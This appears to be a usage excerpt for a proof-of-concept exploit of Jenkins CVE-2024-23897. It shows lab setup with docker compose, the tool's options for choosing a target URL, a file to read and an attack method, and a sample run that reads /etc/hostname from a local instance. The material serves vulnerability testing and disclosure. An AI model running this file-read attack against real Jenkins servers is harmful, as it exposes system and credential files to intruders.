cd docker
docker compose up -d

❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]

Jenkins CVE-2024-23897 file-read PoC

options:
  -h, --help        show this help message and exit
  --url URL         URL for Jenkins instance (default: http://localhost:1234)
  --file FILE       File to read (default: /etc/hostname)
  --method {1,2,3}  The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)

❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...


ERROR: No such agent "jenkins_vuln_instance" exists.

[i] Upload request done
[i] All threads completed